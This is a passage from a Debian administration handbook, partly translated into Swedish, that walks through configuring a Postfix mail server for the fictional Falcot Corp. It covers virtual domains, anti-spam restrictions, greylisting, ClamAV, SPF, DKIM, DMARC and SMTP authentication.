One of the extra questions asks for all the domain names related to this machine. The default list includes its full name as well as a few synonyms for localhost, but the main falcot.com domain needs to be added by hand. More generally, this question should usually be answered with all the domain names for which this machine should serve as an MX server; in other words, all the domain names for which the DNS says that this machine will accept email. This information ends up in the mydestination variable of the main Postfix configuration file — /etc/postfix/main.cf.

Figur 11.1. Role of the DNS MX record while sending a mail

EXTRA Querying the MX records

When the DNS does not have an MX record for a domain, the email server will try sending the messages to the host itself, by using the matching A record (or AAAA in IPv6).

In some cases, the installation can also ask what networks should be allowed to send email via the machine. In its default configuration, Postfix only accepts emails coming from the machine itself; the local network will usually be added. The Falcot Corp administrators added 192.168.0.0/16 to the default answer. If the question is not asked, the relevant variable in the configuration file is mynetworks, as seen in the example below.

Local email can also be delivered through procmail. This tool allows users to sort their incoming email according to rules stored in their ~/.procmailrc file. Both Postfix and Exim4 suggest procmail by default, but there are alternatives like maildrop or Sieve filters.

After this first step, the administrators got the following configuration file; it will be used as a starting point for adding some extra functionality in the next sections.

Exempel 11.1. Initial /etc/postfix/main.cf file

# See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # See http://www.postfix.org/COMPATIBILITY_README.html -- default to 2 on # fresh installs. compatibility_level = 2 # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = mail.falcot.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = smtp relay_transport = smtp inet_protocols = all myorigin = /etc/mailname

SECURITY Snake oil SSL certificates

The snake oil certificates, like the snake oil “medicine” sold by unscrupulous quacks in old times, have absolutely no value: you cannot rely on them to authenticate the server since they are automatically generated self-signed certificates. However, they are useful to improve the privacy of the exchanges.

In general they should only be used for testing purposes, and normal service must use real certificates. The Let's encrypt initiative offers free and trusted SSL/TLS certificates, which can be generated using the certbot package as described in Avsnitt 11.2.2, ”Adding support for SSL” and then used in postfix like this:

smtpd_tls_cert_file = /etc/letsencrypt/live/DOMAIN/fullchain.pem smtpd_tls_key_file = /etc/letsencrypt/live/DOMAIN/privkey.pem smtpd_tls_CAfile = /etc/ssl/certs/ca-certificates.crt smtpd_tls_CApath = /etc/ssl/certs smtp_tls_CApath = /etc/ssl/certs

A different way to generate your own certificates using your own certificate authority is described in Avsnitt 10.2.2, ”Publik nyckelinfrastruktur easy-rsa”.

11.1.2. Konfigurera virtuella domäner

The mail server can receive mails addressed to other domains besides the main domain; these are then known as “virtual“ domains. In most cases where this happens, the emails are not ultimately destined to local users. Postfix provides two interesting features for handling virtual domains.

CAUTION Virtual domains and canonical domains

None of the virtual domains must be referenced in the mydestination variable; this variable only contains the names of the “canonical” domains directly associated to the machine and its local users.

11.1.2.1. Virtual Alias Domains

A virtual alias domain only contains aliases, i.e. addresses that only forward emails to other addresses.

Such a domain is enabled by adding its name to the virtual_alias_domains variable, and referencing an address mapping file in the virtual_alias_maps variable.

virtual_alias_domains = falcotsbrand.com virtual_alias_maps = hash:/etc/postfix/virtual

The /etc/postfix/virtual file describes a mapping with a rather straightforward syntax: each line contains two fields separated by whitespace; the first field is the alias name, the second field is a list of email addresses where it redirects. The special @domain.com syntax covers all remaining aliases in a domain.

webmaster@falcotsbrand.com jean@falcot.com contact@falcotsbrand.com laure@falcot.com, sophie@falcot.com # The alias below is generic and covers all addresses within # the falcotsbrand.com domain not otherwise covered by this file. # These addresses forward email to the same user name in the # falcot.com domain. @falcotsbrand.com @falcot.com

After changing /etc/postfix/virtual the postfix table /etc/postfix/virtual.db needs to be updated using sudo postmap /etc/postfix/virtual.

11.1.2.2. Virtual Mailbox Domains

VARNING Kombinerad virtuell domän?

Postfix does not allow using the same domain in both virtual_alias_domains and virtual_mailbox_domains. However, every domain of virtual_mailbox_domains is implicitly included in virtual_alias_domains, which makes it possible to mix aliases and mailboxes within a virtual domain.

Messages addressed to a virtual mailbox domain are stored in mailboxes not assigned to a local system user.

Enabling a virtual mailbox domain requires naming this domain in the virtual_mailbox_domains variable, and referencing a mailbox mapping file in virtual_mailbox_maps. The virtual_mailbox_base parameter contains the directory under which the mailboxes will be stored.

virtual_mailbox_domains = falcot.org virtual_mailbox_maps = hash:/etc/postfix/vmailbox virtual_mailbox_base = /var/mail/vhosts

The virtual_uid_maps parameter (respectively virtual_gid_maps) references the file containing the mapping between the email address and the system user (respectively group) that “owns” the corresponding mailbox. To get all mailboxes owned by the same owner/group, the static:5000 syntax assigns a fixed UID/GID (of value 5000 here).

Again, the syntax of the /etc/postfix/vmailbox file is quite straightforward: two fields separated with whitespace. The first field is an email address within one of the virtual domains, and the second field is the location of the associated mailbox (relative to the directory specified in virtual_mailbox_base). If the mailbox name ends with a slash (/), the emails will be stored in the maildir format; otherwise, the traditional mbox format will be used. The maildir format uses a whole directory to store a mailbox, each individual message being stored in a separate file. In the mbox format, on the other hand, the whole mailbox is stored in one file, and each line starting with “From ” (From followed by a space) signals the start of a new message.

# Jean's email is stored as maildir, with # one file per email in a dedicated directory jean@falcot.org falcot.org/jean/ # Sophie's email is stored in a traditional "mbox" file, # with all mails concatenated into one single file sophie@falcot.org falcot.org/sophie

11.1.3. Begränsningar för att ta emot och skicka

The growing number of unsolicited bulk emails (spam) requires being increasingly strict when deciding which emails a server should accept. This section presents some of the strategies included in Postfix.

If the reject-rules are too strict, it may happen that even legitimate email traffic gets locked out. It is therefor a good habit to test restrictions and prevent the permanent rejection of requests during this time using the soft_bounce = yes directive. By prepending a reject-type directive with warn_if_reject only a log message will be recorded instead of rejecting the request.

KULTUR Spam problemet

“Spam” is a generic term used to designate all the unsolicited commercial emails (also known as UCEs) that flood our electronic mailboxes; the unscrupulous individuals sending them are known as spammers. They care little about the nuisance they cause, since sending an email costs very little, and only a very small percentage of recipients need to be attracted by the offers for the spamming operation to make more money than it costs. The process is mostly automated, and any email address made public (for instance, on a web forum, or on the archives of a mailing list, or on a blog, and so on) will be likely discovered by the spammers' robots, and subjected to a never-ending stream of unsolicited messages. Also every contact found at a compromised system is targeted.

All system administrators try to face this nuisance with spam filters, but of course spammers keep adjusting to try to work around these filters. Some even rent networks of machines compromised by a worm from various crime syndicates. Recent statistics estimate that up to 95% of all emails circulating on the Internet are spam!

11.1.3.1. IP-baserade åtkomstbegränsningar

The smtpd_client_restrictions directive controls which machines are allowed to communicate with the email server.

When a variable contains a list of rules, as in the example below, these rules are evaluated in order, from the first to the last. Each rule can accept the message, reject it, or leave the decision to a following rule. As a consequence, order matters, and simply switching two rules can lead to a widely different behavior.

Exempel 11.2. Begränsningar baserat på klientadress

smtpd_client_restrictions = permit_mynetworks, warn_if_reject reject_unknown_client_hostname, check_client_access hash:/etc/postfix/access_clientip, reject_rhsbl_reverse_client dbl.spamhaus.org, reject_rhsbl_reverse_client rhsbl.sorbs.net, reject_rbl_client zen.spamhaus.org, reject_rbl_client dnsbl.sorbs.net

The permit_mynetworks directive, used as the first rule, accepts all emails coming from a machine in the local network (as defined by the mynetworks configuration variable).

The second directive would normally reject emails coming from machines without a completely valid DNS configuration. Such a valid configuration means that the IP address can be resolved to a name, and that this name, in turn, resolves to the IP address. This restriction is often too strict, since many email servers do not have a reverse DNS for their IP address. This explains why the Falcot administrators prepended the warn_if_reject modifier to the reject_unknown_client directive: this modifier turns the rejection into a simple warning recorded in the logs. The administrators can then keep an eye on the number of messages that would be rejected if the rule were actually enforced, and make an informed decision later if they wish to enable such enforcement.

TIPS åtkomst tabeller

The restriction criteria include administrator-modifiable tables listing combinations of senders, IP addresses, and allowed or forbidden hostnames. These tables can be created using a copy of the /usr/share/doc/postfix/examples/access file shipped with the postfix-doc package and explained in access(5). This model is self-documented in its comments, which means each table describes its own syntax.

The /etc/postfix/access_clientip table lists IP addresses and networks; /etc/postfix/access_helo lists domain names; /etc/postfix/access_sender contains sender email addresses. All these files need to be turned into hash-tables (a format optimized for fast access) after each change, with the sudo postmap /etc/postfix/file command.

The check_client_access directive allows the administrator to set up a blacklist and a whitelist of email servers, stored in the /etc/postfix/access_clientip file. Servers in the whitelist are considered as trusted, and the emails coming from there therefore do not go through the following filtering rules.

The last four rules reject any message coming from a server listed in one of the indicated blacklists. RBL is an acronym for Remote Black List, and RHSBL stands for Right-Hand Side Black List. The difference is that the former lists IP addresses, whereas the latter lists domain names. There are several such services. They list domains and IP addresses with poor reputation, badly configured servers that spammers use to relay their emails, as well as unexpected mail relays such as machines infected with worms or viruses.

TIP White list and RBLs

Blacklists sometimes include a legitimate server that has been suffering an incident. In these situations, all emails coming from one of these servers would be rejected unless the server is listed in a whitelist defined by /etc/postfix/access_clientip.

Prudence therefore recommends including in the whitelist(s) all the trusted servers from which many emails are usually received.

11.1.3.2. Checking the Validity of the EHLO or HELO Commands

Each SMTP exchange starts with a HELO (or EHLO) command, followed by the name of the sending email server. Checking the validity of this name can be interesting. To fully enforce the restrictions listed in smtpd_helo_restrictions the smtpd_helo_required option needs to be enabled. Otherwise clients could skip the restrictions by not sending any HELO/EHLO command.

Exempel 11.3. Restrictions on the name announced in EHLO

smtpd_helo_required = yes smtpd_helo_restrictions = permit_mynetworks, reject_invalid_helo_hostname, reject_non_fqdn_helo_hostname, warn_if_reject reject_unknown_helo_hostname, check_helo_access hash:/etc/postfix/access_helo, reject_rhsbl_helo multi.surbl.org

The first permit_mynetworks directive allows all machines on the local network to introduce themselves freely. This is important, because some email programs do not respect this part of the SMTP protocol adequately enough, and they can introduce themselves with nonsensical names.

The reject_invalid_helo_hostname rule rejects emails when the EHLO announce lists a syntactically incorrect hostname. The reject_non_fqdn_helo_hostname rule rejects messages when the announced hostname is not a fully-qualified domain name (including a domain name as well as a host name). The reject_unknown_helo_hostname rule rejects messages if the announced name does not exist in the DNS. Since this last rule unfortunately leads to a lot of rejections, the administrators turned its effect to a simple warning with the warn_if_reject modifier as a first step; they may decide to remove this modifier at a later stage, after auditing the results of this rule.

The reject_rhsbl_helo allows to specify a black list to check the hostname against an RHSBL.

Using permit_mynetworks as the first rule has an interesting side effect: the following rules only apply to hosts outside the local network. This allows blacklisting all hosts that announce themselves as part of the falcot.com network, for instance by adding a falcot.com REJECT You are not in our network! line to the /etc/postfix/access_helo file.

11.1.3.3. Accepting or Refusing Mails Based on the Announced Sender

Every message has a sender, announced by the MAIL FROM command of the SMTP protocol; again, this information can be validated in several different ways.

Exempel 11.4. Sender checks

smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/access_sender, reject_unknown_sender_domain, reject_unlisted_sender, reject_non_fqdn_sender, reject_rhsbl_sender rhsbl.sorbs.net

The /etc/postfix/access_sender table maps some special treatment to some senders. This usually means listing some senders into a white list or a black list.

The reject_unknown_sender_domain rule requires a valid sender domain, since it is needed for a valid address. The reject_unlisted_sender rule rejects local senders if the address does not exist; this prevents emails being sent from an invalid address in the falcot.com domain, and messages emanating from joe.bloggs@falcot.com are only accepted if such an address really exists.

Finally, the reject_non_fqdn_sender rule rejects emails purporting to come from addresses without a fully-qualified domain name. In practice, this means rejecting emails coming from user@machine: the address must be announced as either user@machine.example.com or user@example.com.

The reject_rhsbl_sender rule reject senders based on a (domain-based) RHSBL service.

11.1.3.4. Accepting or Refusing Mails Based on the Recipient

Each email has at least one recipient, announced with the RCPT TO command in the SMTP protocol. These addresses also warrant validation, even if that may be less relevant than the checks made on the sender address.

Exempel 11.5. Recipient checks

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, reject_unlisted_recipient, reject_non_fqdn_recipient, permit

reject_unauth_destination is the basic rule that requires outside messages to be addressed to us; messages sent to an address not served by this server are rejected. Without this rule, a server becomes an open relay that allows spammers to send unsolicited emails; this rule is therefore mandatory, and it will be best included near the beginning of the list, so that no other rules may authorize the message before its destination has been checked.

The reject_unlisted_recipient rule rejects messages sent to non-existing local users, which makes sense. Finally, the reject_non_fqdn_recipient rule rejects non-fully-qualified addresses; this makes it impossible to send an email to jean or jean@machine, and requires using the full address instead, such as jean@machine.falcot.com or jean@falcot.com.

The permit directive at the end is not necessary. But it can be useful at the end of a restriction list to make the default policy explicit.

11.1.3.5. Restrictions Associated with the DATA Command

The DATA command of SMTP is emitted before the contents of the message. It doesn't provide any information per se, apart from announcing what comes next. It can still be subjected to checks.

Exempel 11.6. DATA kontroller

smtpd_data_restrictions = reject_unauth_pipelining

The reject_unauth_pipelining directives causes the message to be rejected if the sending party sends a command before the reply to the previous command has been sent. This guards against a common optimization used by spammer robots, since they usually don't care a fig about replies and only focus on sending as many emails as possible in as short a time as possible.

11.1.3.6. Tillämpa begränsningar

Although the above commands validate information at various stages of the SMTP exchange, Postfix sends the actual rejection as a reply to the RCPT TO command by default.

This means that even if the message is rejected due to an invalid EHLO command, Postfix knows the sender and the recipient when announcing the rejection. It can then log a more explicit message than it could if the transaction had been interrupted from the start. In addition, a number of SMTP clients do not expect failures on the early SMTP commands, and these clients will be less disturbed by this late rejection.

A final advantage to this choice is that the rules can accumulate information during the various stages of the SMTP exchange; this allows defining more fine-grained permissions, such as rejecting a non-local connection if it announces itself with a local sender.

The default behavior is controlled by the smtpd_delay_reject rule.

11.1.3.7. Filtrering baserat på meddelandets innehåll

The validation and restriction system would not be complete without a way to apply checks to the message contents. Postfix differentiates the checks applying to the email headers from those applying to the email body.

Exempel 11.7. Aktivera innehållsbaserade filter

header_checks = regexp:/etc/postfix/header_checks body_checks = regexp:/etc/postfix/body_checks

Both files contain a list of regular expressions (commonly known as regexps or regexes) and associated actions to be triggered when the email headers (or body) match the expression.

SNABB TITT Regexp tabeller

The file /usr/share/doc/postfix/examples/header_checks (from the postfix-doc package) and header_checks(5) contain many explanatory comments and can be used as a starting point for creating the /etc/postfix/header_checks and /etc/postfix/body_checks files.

Exempel 11.8. Exempel etc/postfix/header_checks fil

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *Your email contains VIRUSES/ DISCARD virus notification

BACK TO BASICS Regular expression

The regular expression term (shortened to regexp or regex) references a generic notation for expressing a description of the contents and/or structure of a string of characters. Certain special characters allow defining alternatives (for instance, foo|bar matches either “foo” or “bar”), sets of allowed characters (for instance, [0-9] means "any digit", and . — a dot — means "any character"), quantification (s? matches either s or the empty string, in other words 0 or 1 occurrence of s; s+ matches one or more consecutive s characters; and so on). Parentheses allow grouping search results.

The precise syntax of these expressions varies across the tools using them, but the basic features are similar.

→ https://en.wikipedia.org/wiki/Regular_expression

The first one checks the header mentioning the email software; if GOTO Sarbacane (a bulk email software) is found, the message is rejected. The second expression controls the message subject; if it mentions a virus notification, we can decide not to reject the message but to discard it immediately instead.

Using these filters is a double-edged sword, because it is easy to make the rules too generic and to lose legitimate emails as a consequence. In these cases, not only the messages will be lost, but their senders will get unwanted (and annoying) error messages.

11.1.4. Setting Up greylisting

“Greylisting” is a filtering technique according to which a message is initially rejected with a temporary error code, and only accepted after a further delivery attempt with some delay. This filtering is particularly efficient against spam sent by the many machines infected by worms and viruses, since this software rarely acts as a full SMTP agent (by checking the error code and retrying failed messages later), especially since many of the harvested addresses are really invalid and retrying would only mean losing time.

Postfix doesn't provide greylisting natively, but there is a feature by which the decision to accept or reject a given message can be delegated to an external program. The postgrey package contains just such a program, designed to interface with this access policy delegation service.

Once postgrey is installed, it runs as a daemon and listens on port 10023. Postfix can then be configured to use it, by adding the check_policy_service parameter as an extra restriction:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

Each time Postfix reaches this rule in the rule set, it will connect to the postgrey daemon and send it information concerning the relevant message. On its side, Postgrey considers the IP address/sender/recipient triplet and checks in its database whether that same triplet has been seen recently. If so, Postgrey replies that the message should be accepted; if not, the reply indicates that the message should be temporarily rejected, and the triplet gets recorded in the database.

The main disadvantage of greylisting is that legitimate messages get delayed, which is not always acceptable. It also increases the burden on servers that send many legitimate emails.

IN PRACTICE Shortcomings of greylisting

Theoretically, greylisting should only delay the first mail from a given sender to a given recipient, and the typical delay is in the order of minutes. Reality, however, can differ slightly. Some large ISPs use clusters of SMTP servers, and when a message is initially rejected, the server that retries the transmission may not be the same as the initial one. When that happens, the second server gets a temporary error message due to greylisting too, and so on; it may take several hours until transmission is attempted by a server that has already been involved, since SMTP servers usually increase the delay between retries at each failure.

As a consequence, the incoming IP address may vary in time even for a single sender. But it goes further: even the sender address can change. For instance, many mailing-list servers encode extra information in the sender address so as to be able to handle error messages (known as bounces). Each new message sent to a mailing-list may then need to go through greylisting, which means it has to be stored (temporarily) on the sender's server. For very large mailing-lists (with tens of thousands of subscribers), this can soon become a problem.

To mitigate these drawbacks, Postgrey manages a whitelist of such sites, and messages emanating from them are immediately accepted without going through greylisting. This list can easily be adapted to local needs, since it is stored in the /etc/postgrey/whitelist_clients file.

GOING FURTHER Selective greylisting with milter-greylist

The drawbacks of greylisting can be mitigated by only using greylisting on the subset of clients that are already considered as probable sources of spam (because they are listed in a DNS blacklist). This is not possible with postgrey but milter-greylist can be used in such a way.

In that scenario, since DNS blacklists never triggers a definitive rejection, it becomes reasonable to use aggressive blacklists, including those listing all dynamic IP addresses from ISP clients (such as pbl.spamhaus.org or dul.dnsbl.sorbs.net).

Since milter-greylist uses Sendmail's milter interface, the postfix side of its configuration is limited to “smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. The greylist.conf(5) manual page documents /etc/milter-greylist/greylist.conf and the numerous ways to configure milter-greylist. You will also have to edit /etc/default/milter-greylist to actually enable the service.

11.1.5. Customizing Filters Based On the Recipient

Avsnitt 11.1.3, ”Begränsningar för att ta emot och skicka” and Avsnitt 11.1.4, ”Setting Up greylisting” reviewed many of the possible restrictions. They all have their use in limiting the amount of received spam, but they also all have their drawbacks. It is therefore more and more common to customize the set of filters depending on the recipient. At Falcot Corp, greylisting is interesting for most users, but it hinders the work of some users who need low latency in their emails (such as the technical support service). Similarly, the commercial service sometimes has problems receiving emails from some Asian providers who may be listed in blacklists; this service asked for a non-filtered address so as to be able to correspond.

Postfix provides such a customization of filters with a “restriction class” concept. The classes are declared in the smtpd_restriction_classes parameter, and defined the same way as smtpd_recipient_restrictions. The check_recipient_access directive then defines a table mapping a given recipient to the appropriate set of restrictions.

Exempel 11.9. Defining restriction classes in main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

Exempel 11.10. /etc/postfix/recipient_access filen

# Unfiltered addresses postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Aggressive filtering for some privileged users joe@falcot.com aggressive # Special rule for the mailing-list manager sympa@falcot.com reject_unverified_sender # Greylisting by default falcot.com greylisting

11.1.6. Integrating an Antivirus Filter

The many viruses circulating as attachments to emails make it important to set up an antivirus solution at the entry point of the company network, since despite an awareness campaign, some users will still open attachments from obviously shady messages.

SECURITY Controversial Discussion of Anti-Virus Software

The usage of virus scanners, or so called antivirus software, is controversial. There is usually a gap between the release of some piece of malware and the addition of detection rules to the antivirus database. During this gap, there is no software-based protection. Further, the usage often requires to run additional software, for example, to uncompress archives and scan all kinds of executables, which drastically increases the exploit potential of the antivirus software itself. Usage of such software solutions can therefor never replace awareness campaigns and simple behavioral rules (never open unsolicited sent attachments, etc.).

The Falcot administrators selected clamav from the homonymous package.

The task of interfacing between antivirus and the email server goes to clamav-milter. A milter (short for mail filter) is a filtering program specially designed to interface with email servers. A milter uses a standard application programming interface (API) that provides much better performance than filters external to the email servers. Milters were initially introduced by Sendmail, but Postfix soon followed suit.

SNABB TITT Ett milter för Spamassassin

The spamass-milter package provides a milter based on SpamAssassin, the famous unsolicited email detector. It can be used to flag messages as probable spams (by adding an extra header) and/or to reject the messages altogether if their “spamminess” score goes beyond a given threshold.

Once the clamav-milter package is installed, the milter should be reconfigured to run on a TCP port rather than on the default named socket. This can be achieved with dpkg-reconfigure clamav-milter. When prompted for the “Communication interface with Sendmail”, answer “inet:10002@127.0.0.1”.

NOTE Real TCP port vs named socket

The reason why we use a real TCP port rather than the named socket is that the postfix daemons often run chrooted and do not have access to the directory hosting the named socket. You could also decide to keep using a named socket and pick a location within the chroot (/var/spool/postfix/).

The standard ClamAV configuration fits most situations, but some important parameters can still be customized with dpkg-reconfigure clamav-base.

The last step involves telling Postfix to use the recently-configured filter. This is a simple matter of adding the following directive to /etc/postfix/main.cf:

# Virus check with clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

If the antivirus causes problems, this line can be commented out, and systemctl reload postfix should be run so that this change is taken into account.

I PRAKTIKEN Testa antiviruset

Once the antivirus is set up, its correct behavior should be tested. The simplest way to do that is to send a test email with an attachment containing the eicar.com (or eicar.com.zip) file, which can be downloaded online:

→ https://2016.eicar.org/86-0-Intended-use.html

This file is not a true virus, but a test file that all antivirus software on the market diagnose as a virus to allow checking installations.

Alla meddelanden som hanteras av Postfix går nu igenom antivirusfiltret.

11.1.7. Fighting Spam with SPF, DKIM and DMARC

The high number of unsolicited email sent every day led to the creation of several standards, which aim at validating that the sending host of an email is authorized and that the email has not been tampered with. The following systems are all DNS-based and require the administrators to not only have control over the mail server, but over the DNS for the domain in question too.

CAUTION Controversial Discussion

Like any other tool, the following standards have limits and real effects if put to use. They can (and should) lead to emails being rejected or even just discarded. If that happens to some legitimate emails (sometimes sent from a misconfigured SMTP server), it usually causes anger and a lack of understanding by the user. Therefore these rules are often applied as a "soft fail" or a "soft reject", which usually means that failing the checks only leads to adding a (header) mark to the affected email. There are people who think that this makes these standards "broken by design". Decide for yourself and be careful about how strict you choose to apply these standards.

11.1.7.1. Integrating the Sender Policy Framework (SPF)

The Sender Policy Framework (SPF) is used to validate if a certain mail server is allowed to send emails for a given domain. It is mostly configured through DNS. The syntax for the entry to make is explained in detail at:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

The following is a sample DNS entry which states that all the domain's Mail Exchange Resource Records (MX-RRs) are allowed to send email for the current domain, and all others are prohibited. The DNS entry does not need to be given a name. But to use the include directive it must have one.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Let's take a quick look at the falcot.org entry.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

It states that the IP of the sender must match the A record for the sending domain, or must be listed as one of the Mail Exchange Resource Records for the current domain, or must be one of the three mentioned IP4 addresses. All other hosts should be marked as not being allowed to send email for the sender domain. The latter is called a "soft fail" and is intended to mark the email accordingly, but still accept it.

The postfix mail server can check the SPF record for incoming emails using the postfix-policyd-spf-python package, a policy agent written in Python. The file /usr/share/doc/postfix-policyd-spf-python/README.Debian describes the necessary steps to integrate the agent into postfix, so we won't repeat it here.

The configuration is done in the file /etc/postfix-policyd-spf-python/policyd-spf.conf, which is fully documented in policyd-spf.conf(5) and /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. The main configuration parameters are HELO_reject and Mail_From_reject, which configure if emails should be rejected (Fail) or accepted with a header being appended (False), if checks fail. The latter is often useful, when the message is further processed by a spam filter.

If the result is intended to be used by opendmarc (Avsnitt 11.1.7.3, ”Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)”), then Header_Type must be set to AR.

Note that spamassassin contains a plugin to check the SPF record.

11.1.7.2. Integrating DomainKeys (DKIM) Signing and Checking

The Domain Keys Identified Mail (DKIM) standard is a sender authentication system. The mail transport agent, here postfix, adds a digital signature associated with the domain name to the header of outgoing emails. The receiving party can validate the message body and header fields by checking the signature against a public key, which is retrieved from the senders DNS records.

→ http://dkim.org/

The necessary tools are shipped with the opendkim and opendkim-tools packages.

CAUTION Mailing List Software and DKIM

Mailing list managers often rewrite some email headers, thus leading to invalid DKIM signatures. Even using a relaxed canonicalization does not always prevent this from happening. So the administrators must pay close attention to the mail severs log files to identify such issues. Otherwise such emails might be flagged as spam and might get rejected.

First the private key must be created using the command opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR must be a unique name for the key. It can be as simple as "mail" or the date of creation, if you plan to rotate keys.

Exempel 11.11. Create a private key for signing E-Mails from falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

This will create the files /etc/dkimkeys/mail.private and /etc/dkimkeys/mail.txt and set the appropriate ownership. The first file contains the private key, and the latter the public key that needs to be added to the DNS:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

The opendkim package in Debian defaults to a keysize of 2048 bit. Unfortunately some DNS servers can only handle text entries with a maximum length of 255 characters, which is exceeded by the chosen default keysize. In this case use the option -b 1024 to chose a smaller keysize. If opendkim-testkey succeeds, the entry has been successfully set up. The syntax of the entry is explained here:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

To configure opendkim, SOCKET and RUNDIR must be chosen in /etc/default/opendkim. Please note that SOCKET must be accessible from postfix in its chrooted environment. The further configuration is done in /etc/opendkim.conf. The following is a configuration excerpt, which makes sure that the Domain "falcot.com" and all subdomains (SubDomain) are signed by the Selector "mail" and the single private key (KeyFile) /etc/dkimkeys/mail.private. The "relaxed" Canonicalization for both the header and the body tolerates mild modification (by a mailing list software, for example). The filter runs both in signing ("s") and verification ("v") Mode. If a signature fails to validate (On-BadSignature), the mail should be quarantined ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

It is also possible to use multiple selectors/keys (KeyTable), domains (SigningTable) and to specify internal or trusted hosts (InternalHosts, ExternalIgnoreList), which may send mail through the server as one of the signing domains without credentials.

The following directives in /etc/postfix/main.cf make postfix use the filter:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

To differentiate signing and verification it is sometimes more useful to add the directives to the services in /etc/postfix/master.cf instead.

More information is available in the /usr/share/doc/opendkim/ directory and the manual pages opendkim(8) and opendkim.conf(5).

Note that spamassassin contains a plugin to check the DKIM record.

11.1.7.3. Integrating Domain-based Message Authentication, Reporting and Conformance (DMARC)

The Domain-based Message Authentication, Reporting and Conformance (DMARC) standard can be used to define a DNS TXT entry with the name _dmarc and the action that should be taken when emails that contain your domain as the sending host fail to validate using DKIM and SPF.

→ https://dmarc.org/overview/

Let's have a look at the entries of two large providers:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo has a strict policy to reject all emails pretending to be sent from a Yahoo account but missing or failing DKIM and SPF checks. Google Mail (Gmail) propagates a very relaxed policy, in which such messages from the main domain should still be accepted (p=none). For subdomains they should be marked as spam (sp=quarantine). The addresses given in the rua key can be used to send aggregated DMARC reports to. The full syntax is explained here:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

The postfix mail server can use this information too. The opendmarc package contains the necessary milter. Similar to opendkim SOCKET and RUNDIR must be chosen in /etc/default/opendmarc (for Unix sockets you must make sure that they are inside the postfix chroot to be found). The configuration file /etc/opendmarc.conf contains detailed comments and is also explained in opendmarc.conf(5). By default, emails failing the DMARC validation are not rejected but flagged, by adding an appropriate header field. To change this, use RejectFailures true.

The milter is then added to smtpd_milters and non_smtpd_milters. If we configured the opendkim and opendmarc milters to run on ports 12345 and 54321, the entry in /etc/postfix/main.cf looks like this:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

The milter can also be selectively applied to a service in /etc/postfix/master.cf instead.

11.1.8. Autentiserad SMTP

Being able to send emails requires an SMTP server to be reachable; it also requires said SMTP server to send emails through it. For roaming users, this may need regularly changing the configuration of the SMTP client, since Falcot's SMTP server rejects messages coming from IP addresses apparently not belonging to the company. Two solutions exist: either the roaming user installs an SMTP server on their computer, or they still use the company server with some means of authenticating as an employee. The former solution is not recommended since the computer won't be permanently connected, and it won't be able to retry sending messages in case of problems; we will focus on the latter solution.

SMTP authentication in Postfix relies on SASL (Simple Authentication and Security Layer). It requires installing the libsasl2-modules and sasl2-bin packages, then registering a password in the SASL database for each user that needs authenticating on the SMTP server. This is done with the saslpasswd2 command, which takes several parameters. The -u option defines the authentication domain, which must match the smtpd_sasl_local_domain parameter in the Postfix configuration. The -c option allows creating a user, and -f allows specifying the file to use if the SASL database needs to be stored at a different location than the default (/etc/sasldb2).

